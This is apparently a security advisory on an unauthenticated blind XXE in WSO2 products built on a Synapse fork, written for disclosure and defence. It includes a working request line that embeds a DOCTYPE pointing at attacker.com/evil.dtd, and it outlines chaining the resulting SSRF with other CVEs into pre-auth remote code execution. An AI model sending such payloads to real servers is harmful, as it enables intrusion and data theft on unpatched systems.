Multiple WSO2 products relying on WSO2's fork of Apache Synapse are vulnerable to an unauthenticated blind XXE. The Synapse mediation engine parses user-supplied values as XML documents without disabling external entity resolution, allowing an unauthenticated attacker to:
On WSO2 API Manager up to 2.0.0, the XML parser is reachable through the default 404 error handler by embedding a DOCTYPE declaration in the request path, using literal tab characters as whitespace:
GET /http://x/<!DOCTYPE blah SYSTEM "http://attacker.com/evil.dtd"> HTTP/1.1
On later versions, the vulnerability is reachable through any endpoint whose values pass through the PayloadFactory mediator, regardless of content type.
In deployments where the management console is restricted to an internal network, the SSRF capability effectively bypasses this boundary, exposing authenticated RCE vulnerabilities (CVE-2025-10907, CVE-2025-11093) to remote attackers. When combined with authentication bypass vulnerabilities (CVE-2025-9152, CVE-2025-10611), this enables full pre-auth remote code execution chains across affected versions.
This vulnerability was responsibly disclosed and has been patched by the vendor.